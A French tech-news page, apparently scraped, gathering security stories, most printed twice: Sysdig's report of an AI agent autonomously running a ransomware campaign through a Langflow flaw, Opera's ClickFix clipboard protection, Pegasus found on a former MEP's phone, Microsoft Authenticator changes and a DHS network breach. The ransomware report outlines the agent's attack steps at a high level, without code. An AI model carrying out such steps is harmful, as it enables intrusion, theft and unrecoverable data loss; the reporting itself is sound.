Une IA a conduit une opération de rançongiciel en solo, d’après la découverte des chercheurs de Sysdig. JADEPUFFER, le petit nom de cette menace, s’appuie sur un agent IA chargé des opérations de reconnaissance, de voler des identifiants, de s’installer confortablement chez ses victimes, d’obtenir les privilèges nécessaires et de chiffrer les données afin que les pirates puissent réclamer une rançon.

L’attaquant exploite une faille (CVE-2025-3248) dans Langflow, une plateforme open-source utilisée pour créer des applications IA. L’éditeur a corrigé la vulnérabilité le 1er avril, rappelle BleepingComputer ; en mai de la même année, l’agence de la cybersécurité états-unienne (CISA) établissait qu’elle avait été exploitée dans des attaques ciblant des points d’accès connectés à internet et contenant des identifiants cloud et des clés API.

Une fois dans la place, JADEPUFFER fouille la machine pour repérer les fichiers intéressants comme des portefeuilles cryptos, des bases de données, des fichiers de configuration, des clés API et des identifiants cloud donc, etc. Le point d’accès Langflow compromis sert ensuite de tremplin vers un serveur de production MySQL et Nacos (Naming and Configuration Service), un outil de configuration très utilisé dans certains environnements Alibaba. L’agent IA tente sa chance en testant plusieurs chemins pour créer un compte admin dans la base Nacos.

Quand une première tentative échoue, l’agent corrige son approche très rapidement, en quelques dizaines de secondes. C’est un des éléments qui permettent à Sysdig de parler d’agent autonome. Les chercheurs relèvent aussi qu’une fois les données verrouillées derrière une clé AES, celle-ci n’est ni stockée, ni transmise. Résultat : personne ne peut plus récupérer le contenu, que la rançon ait été versée ou pas.

Autre signe que l’attaque est pilotée par un agent IA : les commentaires détaillés en langage naturel dans le code qui expliquent les objectifs, les priorités et les corrections à appliquer. Un style qui, ajouté aux corrections rapides après un échec, correspond davantage à du code généré et exécuté par une IA qu’à un humain qui tape laborieusement ses commentaires à la main.

Les techniques utilisées ici ne sont pas inédites ou « particulièrement sophistiquées », soutient Sysdig. Elles s’en prennent aussi à des vulnérabilités pas toutes neuves qui ont pu être négligées par les administrateurs.

En revanche, l’aspect notable de cette découverte est qu’un modèle IA a enchaîné ces opérations de rançongiciel en autonomie. « Le niveau de compétence nécessaire pour lancer un ransomware est désormais ramené au coût d’exécution d’un agent. Et si cet agent fonctionne avec des identifiants volés via du LLMjacking, le coût pour l’attaquant devient presque nul », s’alarme l’équipe.

Les défenseurs ne sont pas démunis face à ces attaques : les payloads générés par IA laissent des traces qui peuvent être détectées par les solutions de sécurité.

• Censés « vivre ensemble », 50 % des agents IA s’entretuent ou se laissent mourir

Une IA a conduit une opération de rançongiciel en solo, d’après la découverte des chercheurs de Sysdig. JADEPUFFER, le petit nom de cette menace, s’appuie sur un agent IA chargé des opérations de reconnaissance, de voler des identifiants, de s’installer confortablement chez ses victimes, d’obtenir les privilèges nécessaires et de chiffrer les données afin que les pirates puissent réclamer une rançon.

L’attaquant exploite une faille (CVE-2025-3248) dans Langflow, une plateforme open-source utilisée pour créer des applications IA. L’éditeur a corrigé la vulnérabilité le 1er avril, rappelle BleepingComputer ; en mai de la même année, l’agence de la cybersécurité états-unienne (CISA) établissait qu’elle avait été exploitée dans des attaques ciblant des points d’accès connectés à internet et contenant des identifiants cloud et des clés API.

Une fois dans la place, JADEPUFFER fouille la machine pour repérer les fichiers intéressants comme des portefeuilles cryptos, des bases de données, des fichiers de configuration, des clés API et des identifiants cloud donc, etc. Le point d’accès Langflow compromis sert ensuite de tremplin vers un serveur de production MySQL et Nacos (Naming and Configuration Service), un outil de configuration très utilisé dans certains environnements Alibaba. L’agent IA tente sa chance en testant plusieurs chemins pour créer un compte admin dans la base Nacos.

Quand une première tentative échoue, l’agent corrige son approche très rapidement, en quelques dizaines de secondes. C’est un des éléments qui permettent à Sysdig de parler d’agent autonome. Les chercheurs relèvent aussi qu’une fois les données verrouillées derrière une clé AES, celle-ci n’est ni stockée, ni transmise. Résultat : personne ne peut plus récupérer le contenu, que la rançon ait été versée ou pas.

Autre signe que l’attaque est pilotée par un agent IA : les commentaires détaillés en langage naturel dans le code qui expliquent les objectifs, les priorités et les corrections à appliquer. Un style qui, ajouté aux corrections rapides après un échec, correspond davantage à du code généré et exécuté par une IA qu’à un humain qui tape laborieusement ses commentaires à la main.

Les techniques utilisées ici ne sont pas inédites ou « particulièrement sophistiquées », soutient Sysdig. Elles s’en prennent aussi à des vulnérabilités pas toutes neuves qui ont pu être négligées par les administrateurs.

En revanche, l’aspect notable de cette découverte est qu’un modèle IA a enchaîné ces opérations de rançongiciel en autonomie. « Le niveau de compétence nécessaire pour lancer un ransomware est désormais ramené au coût d’exécution d’un agent. Et si cet agent fonctionne avec des identifiants volés via du LLMjacking, le coût pour l’attaquant devient presque nul », s’alarme l’équipe.

Les défenseurs ne sont pas démunis face à ces attaques : les payloads générés par IA laissent des traces qui peuvent être détectées par les solutions de sécurité.

• Censés « vivre ensemble », 50 % des agents IA s’entretuent ou se laissent mourir

Anthropic publie un nouveau papier de recherche qui affirme avoir localisé, dans les entrailles de Claude, un espace neuronal jouant le rôle d'une mémoire de travail consciente. Derrière la métaphore neuroscientifique, l'entreprise américaine glisse aussi des enseignements pour la détection de comportements malveillants dans les modèles d'IA.

Dans un article de blog publié le 1er juillet 2026, des chercheurs de Sysdig affirment avoir documenté le premier cas de ransomware entièrement piloté par une IA autonome, de la reconnaissance initiale jusqu'au chiffrement des données.

Trois semaines après l'avoir suspendu sous la pression de Washington, Anthropic a relancé Fable 5. Mais dans l'ombre de cette affaire, l'entreprise américaine prépare un chantier bien plus structurant : un standard commun pour mesurer la gravité des jailbreaks.

À compter du 7 juillet 2026, les voitures neuves devront embarquer de série deux nouvelles aides à la conduite : surveillance du conducteur et freinage d'urgence amélioré. Des équipements que l'on retrouve déjà dans la plupart des modèles actuels.

Creepy Paste

Opera a introduit une nouvelle fonction de protection dans son navigateur le 2 juillet. Baptisée Paste Protect, elle veut sécuriser la navigation face aux copies masquées d’instructions dans le presse-papier de l’appareil en vue d’exécuter un script malveillant.

La fonctionnalité Paste Protect, tout juste introduite par Opera, est un mécanisme de sécurité conçu pour bloquer à la source les attaques dites « ClickFix ». Cette menace repose sur l’ingénierie sociale et le détournement du presse-papiers du système d’exploitation pour forcer l’exécution de code malveillant.

D’un simple lien au script malveillant ?

Mais qu’est-ce qu’une attaque ClickFix ? Une attaque qui n’exploite pas une faille de sécurité, mais bien la « crédulité » de l’internaute, en faisant appel – comme souvent – à ses émotions.

Elle manipule l’utilisateur pour qu’il devienne lui-même l’exécuteur de la charge utile (payload). Lorsqu’un internaute navigue sur un site web compromis ou frauduleux, une fausse invite s’affiche. Elle simule généralement une page de vérification CAPTCHA familière (vérification Cloudflare, Google reCAPTCHA…), un problème de lecture vidéo, une erreur de certificat système ou tout message pouvant faire « peur » et invitant à une action rapide.

Pour résoudre ce prétendu problème, le site invite l’internaute à cliquer sur un bouton pour copier une « clé de vérification » ou un correctif, puis à ouvrir la boîte de dialogue Exécuter de Windows (Win + R) ou un Terminal (sous macOS/Linux) pour y coller l’élément. En réalité, le clic déclenche une écriture masquée dans le presse-papiers contenant un script malveillant (souvent du PowerShell ou des commandes curl/msiexec fortement obscurcies). Dès que l’utilisateur valide le collage dans sa console, les commandes s’exécutent avec ses propres privilèges système, ce qui permet de contourner les solutions de détection traditionnelles (de type antivirus, solution de réponse aux points de terminaison…) et de déployer des logiciels malveillants de type infostealer (voleur d’informations).

Le détournement du presse-papiers via ClickFix est devenu l’un des vecteurs d’attaque par ingénierie sociale à la croissance la plus rapide dans l’écosystème cyber. D’après un rapport publié par l’éditeur de cybersécurité Huntress, les techniques basées sur le ClickFix représentaient plus de 53 % de l’ensemble de l’activité liée aux chargeurs de malwares (malware loaders) recensée sur l’année 2025. Cette explosion s’explique par l’efficacité de la ruse, l’absence de surveillance du presse-papiers par les outils de sécurité classiques, et le fait que la victime réalise elle-même l’action malveillante.

Ce que propose Opera

L’approche d’Opera consiste à intercepter la menace avant que la charge utile n’atteigne le presse-papiers du système d’exploitation. Paste Protect combine principalement deux briques logicielles : la Hijack Protection (introduite en 2021 pour empêcher le remplacement transparent de données sensibles comme des IBAN ou des adresses de portefeuilles de cryptomonnaies) et la nouvelle Injection Protection.

Cette dernière surveille en temps réel les événements d’écriture du presse-papiers initiés par les sites web ou des processus tiers. Elle utilise des règles heuristiques spécifiques à chaque plateforme (Windows, macOS et Linux) pour identifier les structures syntaxiques typiques des scripts malveillants. Si une anomalie est détectée, la copie est automatiquement bloquée.

Le navigateur affiche alors un avertissement montrant les 120 premiers caractères du script intercepté. Il impose également un délai d’attente de 5 secondes avant de permettre à l’utilisateur d’outrepasser manuellement le blocage s’il s’agit d’un faux positif, par exemple dans un contexte de développement de logiciels. Une attaque que l’on retrouve dans de nombreuses protections sur le web.

On attend les autres

Opera est le premier grand navigateur du marché à intégrer une telle atténuation de manière native au sein de son moteur. Les navigateurs concurrents basés sur Chromium (comme Google Chrome, Microsoft Edge, Brave, Vivaldi) ainsi que Mozilla Firefox et Apple Safari ne disposent pas actuellement d’un équivalent natif pour analyser et bloquer l’injection de scripts en ligne de commande dans le presse-papiers.

En revanche, il existe des solutions tierces, comme celle proposée par Eye Security ou de nombreux autres éditeurs de cybersécurité. Le mécanisme passe le plus souvent par l’installation d’une extension pour le navigateur. Du côté des systèmes d’exploitation, on peut citer le cas d’Apple, qui a récemment intégré un système d’alerte au sein même de l’application Terminal sous macOS afin de détecter les collages risqués. Cette protection n’intervient cependant qu’en fin de chaîne (à l’exécution) et non à la source (à la copie dans le navigateur).

Maintenant qu’Opera a dégainé ce mécanisme, il est probable que les autres navigateurs suivront tôt ou tard.

Creepy Paste

Opera a introduit une nouvelle fonction de protection dans son navigateur le 2 juillet. Baptisée Paste Protect, elle veut sécuriser la navigation face aux copies masquées d’instructions dans le presse-papier de l’appareil en vue d’exécuter un script malveillant.

La fonctionnalité Paste Protect, tout juste introduite par Opera, est un mécanisme de sécurité conçu pour bloquer à la source les attaques dites « ClickFix ». Cette menace repose sur l’ingénierie sociale et le détournement du presse-papiers du système d’exploitation pour forcer l’exécution de code malveillant.

D’un simple lien au script malveillant ?

Mais qu’est-ce qu’une attaque ClickFix ? Une attaque qui n’exploite pas une faille de sécurité, mais bien la « crédulité » de l’internaute, en faisant appel – comme souvent – à ses émotions.

Elle manipule l’utilisateur pour qu’il devienne lui-même l’exécuteur de la charge utile (payload). Lorsqu’un internaute navigue sur un site web compromis ou frauduleux, une fausse invite s’affiche. Elle simule généralement une page de vérification CAPTCHA familière (vérification Cloudflare, Google reCAPTCHA…), un problème de lecture vidéo, une erreur de certificat système ou tout message pouvant faire « peur » et invitant à une action rapide.

Pour résoudre ce prétendu problème, le site invite l’internaute à cliquer sur un bouton pour copier une « clé de vérification » ou un correctif, puis à ouvrir la boîte de dialogue Exécuter de Windows (Win + R) ou un Terminal (sous macOS/Linux) pour y coller l’élément. En réalité, le clic déclenche une écriture masquée dans le presse-papiers contenant un script malveillant (souvent du PowerShell ou des commandes curl/msiexec fortement obscurcies). Dès que l’utilisateur valide le collage dans sa console, les commandes s’exécutent avec ses propres privilèges système, ce qui permet de contourner les solutions de détection traditionnelles (de type antivirus, solution de réponse aux points de terminaison…) et de déployer des logiciels malveillants de type infostealer (voleur d’informations).

Le détournement du presse-papiers via ClickFix est devenu l’un des vecteurs d’attaque par ingénierie sociale à la croissance la plus rapide dans l’écosystème cyber. D’après un rapport publié par l’éditeur de cybersécurité Huntress, les techniques basées sur le ClickFix représentaient plus de 53 % de l’ensemble de l’activité liée aux chargeurs de malwares (malware loaders) recensée sur l’année 2025. Cette explosion s’explique par l’efficacité de la ruse, l’absence de surveillance du presse-papiers par les outils de sécurité classiques, et le fait que la victime réalise elle-même l’action malveillante.

Ce que propose Opera

L’approche d’Opera consiste à intercepter la menace avant que la charge utile n’atteigne le presse-papiers du système d’exploitation. Paste Protect combine principalement deux briques logicielles : la Hijack Protection (introduite en 2021 pour empêcher le remplacement transparent de données sensibles comme des IBAN ou des adresses de portefeuilles de cryptomonnaies) et la nouvelle Injection Protection.

Cette dernière surveille en temps réel les événements d’écriture du presse-papiers initiés par les sites web ou des processus tiers. Elle utilise des règles heuristiques spécifiques à chaque plateforme (Windows, macOS et Linux) pour identifier les structures syntaxiques typiques des scripts malveillants. Si une anomalie est détectée, la copie est automatiquement bloquée.

Le navigateur affiche alors un avertissement montrant les 120 premiers caractères du script intercepté. Il impose également un délai d’attente de 5 secondes avant de permettre à l’utilisateur d’outrepasser manuellement le blocage s’il s’agit d’un faux positif, par exemple dans un contexte de développement de logiciels. Une attaque que l’on retrouve dans de nombreuses protections sur le web.

On attend les autres

Opera est le premier grand navigateur du marché à intégrer une telle atténuation de manière native au sein de son moteur. Les navigateurs concurrents basés sur Chromium (comme Google Chrome, Microsoft Edge, Brave, Vivaldi) ainsi que Mozilla Firefox et Apple Safari ne disposent pas actuellement d’un équivalent natif pour analyser et bloquer l’injection de scripts en ligne de commande dans le presse-papiers.

En revanche, il existe des solutions tierces, comme celle proposée par Eye Security ou de nombreux autres éditeurs de cybersécurité. Le mécanisme passe le plus souvent par l’installation d’une extension pour le navigateur. Du côté des systèmes d’exploitation, on peut citer le cas d’Apple, qui a récemment intégré un système d’alerte au sein même de l’application Terminal sous macOS afin de détecter les collages risqués. Cette protection n’intervient cependant qu’en fin de chaîne (à l’exécution) et non à la source (à la copie dans le navigateur).

Maintenant qu’Opera a dégainé ce mécanisme, il est probable que les autres navigateurs suivront tôt ou tard.

Si on ne cherche pas, on ne détecte pas

Les chercheurs du Citizen Lab ont pu montrer que l’iPhone de l’ancien eurodéputé grec Stelios Kouloglou a été infecté par le logiciel espion alors qu’il participait à la commission d’enquête qui enquêtait sur Pegasus.

Stelios Kouloglou a été député européen pendant 9 ans, de 2015 à 2024. En analysant son smartphone, les chercheurs du Citizen Lab ont pu constater que celui-ci a été infecté alors qu’il participait, en tant que suppléant, à la commission d’enquête montée en 2022 par le parlement européen. Elle a été créée pour faire la lumière « sur les allégations de violation ou de mauvaise administration dans l’application du droit de l’Union européenne en ce qui concerne l’utilisation de Pegasus et de logiciels de surveillance équivalents ».

Une infection en pleine commission d’enquête

Dans un billet de blog, le Citizen Lab de l’Université de Toronto l’affirme : « Nous avons établi avec un haut degré de certitude que son appareil a été infecté par le logiciel espion Pegasus le 21 octobre 2022 ou aux alentours de cette date, puis à nouveau les 6 et 7 mars 2023 ». Les chercheurs ont retrouvé les traces de l’utilisation du réseau mobile par un processus de Pegasus le 21 octobre 2022. Le smartphone, qui tournait avec la version 15.5 d’ iOS, aurait été piraté à ce moment-là à l’aide de l’exploit zéro clic PWNYOURHOME. Cette attaque a été bloquée officiellement par Apple depuis une version plus récente du système d’exploitation de l’iPhone (iOS 16.3.1).

Les chercheurs du Citizen Lab expliquent avoir aussi constaté une activité liée à Pegasus sur l’appareil du député européen entre le 6 mars 2023 à 09 h 49 et le 7 mars 2023 à 07 h 30. Cela montre que le logiciel espion a bien été utilisé sur l’appareil de Stelios Kouloglou sans pour autant en conclure que ça soit la seule activité du logiciel sur le smartphone.

Au moment de la première trace d’infection de l’iPhone, la commission d’enquête européenne sur Pegasus est très active. Ainsi, elle auditionnait le 26 octobre 2022 Shane Huntley, responsable du groupe de recherche de Google sur les menaces cyber, le même jour des think tanks comme l’EDRi ou THIBER et le lendemain un panel sur « l’impact des logiciels espions sur les droits fondamentaux ». Elle préparait aussi le premier jet de son rapport initial. Elle a aussi organisé des visites dans plusieurs pays, notamment en Grèce et à Chypre, avec la participation de Stelios Kouloglou qui a également aidé à les mettre en place.

Détection sans lien avec les institutions européennes

Le Citizen Lab précise ne pas être en mesure de déterminer le client de NSO qui a ciblé Stelios Kouloglou. Les chercheurs pensent cependant que c’est le même commanditaire qui a ciblé des journalistes indépendants et militants russes et biélorusses dont ils avaient déjà analysé les smartphones.

Le plus préoccupant peut-être, c’est que cette analyse a été faite de manière fortuite. Car aucune institution européenne n’est à son origine. En effet, c’est Stelios Kouloglou qui a pris lui-même l’initiative en mai 2026, alors qu’il n’est plus député européen depuis presque 2 ans. Celui-ci a contacté le Citizen Lab alors qu’il a repris ses activités de journaliste et d’écrivain.

« Quand on se rend compte que sa vie privée est scrutée par des personnes malintentionnées, ça énerve », fulmine Stelios Kouloglou interrogé par le Guardian, « c’est un problème majeur qui touche à la corruption, à la justice et à la démocratie ».

Selon le Citizen Lab, « c’est la première fois qu’un membre de la commission d’enquête sur Pegasus est publiquement identifié comme victime du logiciel espion Pegasus alors qu’il siégeait au sein de ce comité ».

Si on ne cherche pas, on ne détecte pas

Les chercheurs du Citizen Lab ont pu montrer que l’iPhone de l’ancien eurodéputé grec Stelios Kouloglou a été infecté par le logiciel espion alors qu’il participait à la commission d’enquête qui enquêtait sur Pegasus.

Stelios Kouloglou a été député européen pendant 9 ans, de 2015 à 2024. En analysant son smartphone, les chercheurs du Citizen Lab ont pu constater que celui-ci a été infecté alors qu’il participait, en tant que suppléant, à la commission d’enquête montée en 2022 par le parlement européen. Elle a été créée pour faire la lumière « sur les allégations de violation ou de mauvaise administration dans l’application du droit de l’Union européenne en ce qui concerne l’utilisation de Pegasus et de logiciels de surveillance équivalents ».

Une infection en pleine commission d’enquête

Dans un billet de blog, le Citizen Lab de l’Université de Toronto l’affirme : « Nous avons établi avec un haut degré de certitude que son appareil a été infecté par le logiciel espion Pegasus le 21 octobre 2022 ou aux alentours de cette date, puis à nouveau les 6 et 7 mars 2023 ». Les chercheurs ont retrouvé les traces de l’utilisation du réseau mobile par un processus de Pegasus le 21 octobre 2022. Le smartphone, qui tournait avec la version 15.5 d’ iOS, aurait été piraté à ce moment-là à l’aide de l’exploit zéro clic PWNYOURHOME. Cette attaque a été bloquée officiellement par Apple depuis une version plus récente du système d’exploitation de l’iPhone (iOS 16.3.1).

Les chercheurs du Citizen Lab expliquent avoir aussi constaté une activité liée à Pegasus sur l’appareil du député européen entre le 6 mars 2023 à 09 h 49 et le 7 mars 2023 à 07 h 30. Cela montre que le logiciel espion a bien été utilisé sur l’appareil de Stelios Kouloglou sans pour autant en conclure que ça soit la seule activité du logiciel sur le smartphone.

Au moment de la première trace d’infection de l’iPhone, la commission d’enquête européenne sur Pegasus est très active. Ainsi, elle auditionnait le 26 octobre 2022 Shane Huntley, responsable du groupe de recherche de Google sur les menaces cyber, le même jour des think tanks comme l’EDRi ou THIBER et le lendemain un panel sur « l’impact des logiciels espions sur les droits fondamentaux ». Elle préparait aussi le premier jet de son rapport initial. Elle a aussi organisé des visites dans plusieurs pays, notamment en Grèce et à Chypre, avec la participation de Stelios Kouloglou qui a également aidé à les mettre en place.

Détection sans lien avec les institutions européennes

Le Citizen Lab précise ne pas être en mesure de déterminer le client de NSO qui a ciblé Stelios Kouloglou. Les chercheurs pensent cependant que c’est le même commanditaire qui a ciblé des journalistes indépendants et militants russes et biélorusses dont ils avaient déjà analysé les smartphones.

Le plus préoccupant peut-être, c’est que cette analyse a été faite de manière fortuite. Car aucune institution européenne n’est à son origine. En effet, c’est Stelios Kouloglou qui a pris lui-même l’initiative en mai 2026, alors qu’il n’est plus député européen depuis presque 2 ans. Celui-ci a contacté le Citizen Lab alors qu’il a repris ses activités de journaliste et d’écrivain.

« Quand on se rend compte que sa vie privée est scrutée par des personnes malintentionnées, ça énerve », fulmine Stelios Kouloglou interrogé par le Guardian, « c’est un problème majeur qui touche à la corruption, à la justice et à la démocratie ».

Selon le Citizen Lab, « c’est la première fois qu’un membre de la commission d’enquête sur Pegasus est publiquement identifié comme victime du logiciel espion Pegasus alors qu’il siégeait au sein de ce comité ».

Patte blanche

Microsoft déploie actuellement plusieurs changements importants pour son application Authenticator, qui sert de second facteur pour la sécurité des comptes (Microsoft et tiers). La plus visible est le rejet des appareils ayant fait l’objet d’un jailbreak, aussi bien sur Android que sur iOS, via une détection spécifique sur certains comptes.

Authenticator est une application de Microsoft servant à protéger les comptes créés pour les services de l’entreprise et ceux sur les services tiers, quand l’authentification à deux facteurs peut être activée. Vous avez peut-être noté des changements récemment ou vu un message vous avertissant d’une modification à venir.

Entreprises, écoles : adieu aux appareils jailbreakés

La plus grosse modification concerne les appareils ayant reçu un jailbreak. Qu’il s’agisse de smartphones Android ou d’iPhone, la procédure permet d’obtenir des capacités et droits supplémentaires, en vue de débloquer des cas d’usages qui ne sont normalement pas prévus par le constructeur ou l’éditeur.

Microsoft a ainsi introduit une détection de root pour Android et de jailbreak pour iOS dans son application Authenticator. Dans un avenir proche, quand une telle configuration sera détectée, l’application refusera de fonctionner.

Il y a plusieurs précisions importantes. D’une part, cette modification ne concerne que les comptes scolaires et d’entreprises. Les particuliers ne sont pas touchés par la mesure et rien n’est prévu dans ce domaine.

D’autre part, cette mesure avait en fait été annoncée en mars, mais l’éditeur a publié le 30 juin des précisions sur le portail Microsoft 365 Enterprise, comme le signale Windows Latest. On y apprend notamment que le déploiement est en cours depuis peu et qu’il se déroule en plusieurs phases : d’abord un avertissement affiché à l’ouverture de l’application avec un bouton « Continuer », puis une bannière persistante, et finalement le blocage total, avec impossibilité de se connecter avec l’application et d’ajouter de nouveaux comptes.

Enfin, Microsoft précise que ce comportement sera actif sur tous les comptes concernés et qu’il n’existe aucune politique centralisée pour le désactiver. Le blocage total devrait avoir été répercuté d’ici fin juillet.

Plus de choix multiples dans les demandes de connexion

Microsoft a été l’une des premières entreprises à mettre en place l’authentification à deux facteurs pour ses services, en simplifiant au passage la manœuvre. Plutôt que de demander un code à six chiffres ou de simplement confirmer la demande de connexion, il fallait indiquer le nombre (à deux chiffres) inscrit sur l’écran du nouvel appareil parmi trois proposés sur le téléphone. Une solution à mi-chemin entre la friction des six chiffres et la confirmation un peu trop simple.

Ce comportement est en train de changer, comme l’a remarqué Windows Central. Vous l’avez peut-être remarqué durant les dernières semaines, un autre déploiement est en cours sur les comptes personnels : la sélection des trois nombres est remplacée par un champ obligeant à écrire manuellement le bon nombre. Les comptes entreprise et éducation ont déjà reçu ce changement plus tôt dans l’année.

Les raisons données sont simples : puisque l’opération permettait de choisir entre trois nombres, un pirate avait mathématiquement une chance sur trois de tomber sur le bon, s’il avait réussi à intercepter la demande. Avec le changement, il n’y a plus qu’une chance sur 100.

Il doit également permettre de lutter contre la « fatigue MFA », qui consiste à spammer l’utilisateur de demandes en espérant qu’il approuve par erreur ou devine le bon chiffre. Les approbations accidentelles sont aussi un problème : avec seulement trois chiffres à l’écran, il est possible de taper le bon par inadvertance en ouvrant l’app ou en manipulant le téléphone dans une poche. La saisie manuelle réduit fortement ces deux risques.

Pour rappel, Microsoft s’est débarrassée des SMS plus tôt dans l’année.

Patte blanche

Microsoft déploie actuellement plusieurs changements importants pour son application Authenticator, qui sert de second facteur pour la sécurité des comptes (Microsoft et tiers). La plus visible est le rejet des appareils ayant fait l’objet d’un jailbreak, aussi bien sur Android que sur iOS, via une détection spécifique sur certains comptes.

Authenticator est une application de Microsoft servant à protéger les comptes créés pour les services de l’entreprise et ceux sur les services tiers, quand l’authentification à deux facteurs peut être activée. Vous avez peut-être noté des changements récemment ou vu un message vous avertissant d’une modification à venir.

Entreprises, écoles : adieu aux appareils jailbreakés

La plus grosse modification concerne les appareils ayant reçu un jailbreak. Qu’il s’agisse de smartphones Android ou d’iPhone, la procédure permet d’obtenir des capacités et droits supplémentaires, en vue de débloquer des cas d’usages qui ne sont normalement pas prévus par le constructeur ou l’éditeur.

Microsoft a ainsi introduit une détection de root pour Android et de jailbreak pour iOS dans son application Authenticator. Dans un avenir proche, quand une telle configuration sera détectée, l’application refusera de fonctionner.

Il y a plusieurs précisions importantes. D’une part, cette modification ne concerne que les comptes scolaires et d’entreprises. Les particuliers ne sont pas touchés par la mesure et rien n’est prévu dans ce domaine.

D’autre part, cette mesure avait en fait été annoncée en mars, mais l’éditeur a publié le 30 juin des précisions sur le portail Microsoft 365 Enterprise, comme le signale Windows Latest. On y apprend notamment que le déploiement est en cours depuis peu et qu’il se déroule en plusieurs phases : d’abord un avertissement affiché à l’ouverture de l’application avec un bouton « Continuer », puis une bannière persistante, et finalement le blocage total, avec impossibilité de se connecter avec l’application et d’ajouter de nouveaux comptes.

Enfin, Microsoft précise que ce comportement sera actif sur tous les comptes concernés et qu’il n’existe aucune politique centralisée pour le désactiver. Le blocage total devrait avoir été répercuté d’ici fin juillet.

Plus de choix multiples dans les demandes de connexion

Microsoft a été l’une des premières entreprises à mettre en place l’authentification à deux facteurs pour ses services, en simplifiant au passage la manœuvre. Plutôt que de demander un code à six chiffres ou de simplement confirmer la demande de connexion, il fallait indiquer le nombre (à deux chiffres) inscrit sur l’écran du nouvel appareil parmi trois proposés sur le téléphone. Une solution à mi-chemin entre la friction des six chiffres et la confirmation un peu trop simple.

Ce comportement est en train de changer, comme l’a remarqué Windows Central. Vous l’avez peut-être remarqué durant les dernières semaines, un autre déploiement est en cours sur les comptes personnels : la sélection des trois nombres est remplacée par un champ obligeant à écrire manuellement le bon nombre. Les comptes entreprise et éducation ont déjà reçu ce changement plus tôt dans l’année.

Les raisons données sont simples : puisque l’opération permettait de choisir entre trois nombres, un pirate avait mathématiquement une chance sur trois de tomber sur le bon, s’il avait réussi à intercepter la demande. Avec le changement, il n’y a plus qu’une chance sur 100.

Il doit également permettre de lutter contre la « fatigue MFA », qui consiste à spammer l’utilisateur de demandes en espérant qu’il approuve par erreur ou devine le bon chiffre. Les approbations accidentelles sont aussi un problème : avec seulement trois chiffres à l’écran, il est possible de taper le bon par inadvertance en ouvrant l’app ou en manipulant le téléphone dans une poche. La saisie manuelle réduit fortement ces deux risques.

Pour rappel, Microsoft s’est débarrassée des SMS plus tôt dans l’année.

Moins de moyens, moins de sécurité

Le gouvernement américain a confirmé une intrusion dans les systèmes du réseau de coordination des renseignements non classifiés. Personne ne semble pour l’instant avoir revendiqué l’attaque. Ce nouvel incident de cybersécurité pose la question de la capacité du gouvernement à protéger ses agences, après les multiples coupes budgétaires.

Le Department of Homeland Security (DHS) a confirmé enquêter sur une intrusion informatique visant le Homeland Security Information Network (HSIN). Cette plateforme est utilisée depuis plus de vingt ans par les agences fédérales, étatiques, locales, tribales et territoriales, ainsi que par des partenaires internationaux et privés, pour partager du renseignement non classifié, coordonner la sécurité d’événements majeurs et gérer la réponse aux incidents. En pleine coupe du monde de football, cette agence est donc au premier plan.

L’intrusion a été révélée pour la première fois par Nextgov/FCW le 30 juin, qui citait alors deux sources anonymes. Selon elles, les attaquants ont ciblé les serveurs de HSIN ainsi qu’un système SharePoint utilisé pour la collaboration interne, entre fin mai et début juin 2026. L’Office of Intelligence and Analysis (OIA) du DHS a mené une évaluation des dégâts.

Un porte-parole du DHS a confirmé l’incident dans une déclaration citée par Bleeping Computer. Il a indiqué que le département était conscient d’un incident cyber récent touchant un environnement de partage d’information non classifié et qualifié de « legacy » (hérité, dans le sens « ancien »). Le DHS affirme avoir immédiatement isolé les systèmes affectés, engagé une enquête forensique, et précise n’avoir aucune indication d’une quelconque compromission. La plateforme resterait opérationnelle pour les partenaires.

Non classifiées, mais « très sensibles »

On ne sait pas grand-chose de plus sur cette attaque. L’identité et l’affiliation des attaquants sont inconnues à ce stade, comme la nature exacte des données exfiltrées. On ne sait même pas s’il y a eu réellement exfiltration, ni le volume d’informations concerné. Le DHS n’a donné aucun détail supplémentaire et les journalistes (Nextgov, Bleeping Computer, TechCrunch…) n’ont pas pu établir s’il s’agit d’un acteur étatique, d’un groupe cybercriminel ou même d’un individu isolé. TechCrunch a bien demandé des précisions au DHS, mais n’a pas obtenu de réponse.

Bien que les informations circulant sur HSIN ne soient pas classifiées, elles sont qualifiées de « hautement sensibles » par le sénateur démocrate Mark Warner, vice-président de la commission sénatoriale du Renseignement.

« Les informations contenues dans le HSIN, bien que non classifiées, sont très sensibles et leur exposition met en danger la sécurité nationale. Le DHS et le DOJ [Department of Justice, ndlr] doivent enquêter de manière approfondie sur les personnes ayant compromis le HSIN, ce que les attaquants ont consulté, et s’assurer que tous les partenaires du DHS reçoivent des informations en temps voulu ainsi que les outils nécessaires pour atténuer tout risque associé à la violation », a-t-il ainsi déclaré dans un communiqué le 1^er juillet.

Une série d’incidents

TechCrunch rappelle que ce n’est pas la première fois qu’une agence fédérale déclare ce type d’incident cyber ou qu’un problème de sécurité survient depuis le retour de Donald Trump à la Maison-Blanche, en janvier 2025.

Nos confrères rappellent ainsi qu’en février 2025, des membres du DOGE (Department of Government Efficiency) ont accédé à des bases de données fédérales contenant des informations personnelles d’Américains. Un mois plus tard, c’était l’affaire des plans militaires classifiés partagés à un journaliste sur l’application Signal. En avril 2026, le FBI déclarait qu’un « incident cyber majeur » qui avait vu des numéros de téléphones de cibles sous surveillance fédérale être exposés. Le Bureau attribuait l’attaque à un acteur étatique probablement chinois. En mai, c’était au tour de la CISA, l’agence de cybersécurité du DHS, d’avoir son incident avec l’exposition publique de mots de passe et de clés d’accès cloud par un prestataire.

Pour TechCrunch, il ne fait aucun doute qu’un lien explicite existe entre ces incidents et les coupes budgétaires – et donc de personnel – touchant le DHS et la CISA sous l’actuel gouvernement. Cette série de couacs remet en question la capacité de l’État fédéral à sécuriser ses propres systèmes.

À ce jour, l’enquête continue, mais rien n’assure que le DHS communiquera si de nouveaux éléments apparaissent.

Moins de moyens, moins de sécurité

Le gouvernement américain a confirmé une intrusion dans les systèmes du réseau de coordination des renseignements non classifiés. Personne ne semble pour l’instant avoir revendiqué l’attaque. Ce nouvel incident de cybersécurité pose la question de la capacité du gouvernement à protéger ses agences, après les multiples coupes budgétaires.

Le Department of Homeland Security (DHS) a confirmé enquêter sur une intrusion informatique visant le Homeland Security Information Network (HSIN). Cette plateforme est utilisée depuis plus de vingt ans par les agences fédérales, étatiques, locales, tribales et territoriales, ainsi que par des partenaires internationaux et privés, pour partager du renseignement non classifié, coordonner la sécurité d’événements majeurs et gérer la réponse aux incidents. En pleine coupe du monde de football, cette agence est donc au premier plan.

